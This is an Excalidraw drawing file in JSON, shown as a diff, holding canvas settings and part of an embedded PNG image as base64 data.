{ + "theme": "light", + "viewBackgroundColor": "#ffffff", + "currentItemStrokeColor": "#1e1e1e", + "currentItemBackgroundColor": "#868e96", + "currentItemFillStyle": "solid", + "currentItemStrokeWidth": 1, + "currentItemStrokeStyle": "dashed", + "currentItemRoughness": 1, + "currentItemOpacity": 100, + "currentItemFontFamily": 1, + "currentItemFontSize": 20, + "currentItemTextAlign": "left", + "currentItemStartArrowhead": null, + "currentItemEndArrowhead": "arrow", + "scrollX": 3491.3994152346927, + "scrollY": 7552.422227760672, + "zoom": { + "value": 0.1 + }, + "currentItemRoundness": "round", + "gridSize": null, + "gridColor": { + "Bold": "#C9C9C9FF", + "Regular": "#EDEDEDFF" + }, + "currentStrokeOptions": null, + "previousGridSize": null, + "frameRendering": { + "enabled": true, + "clip": true, + "name": true, + "outline": true + }, + "objectsSnapModeEnabled": false + }, + "prevTextMode": "parsed", + "files": { + "f374fbd1793eb07f2de877ddb6da07eaa1898c81": { + "mimeType": "image/png", + "id": "f374fbd1793eb07f2de877ddb6da07eaa1898c81", + "dataURL": "data:image/png;base64,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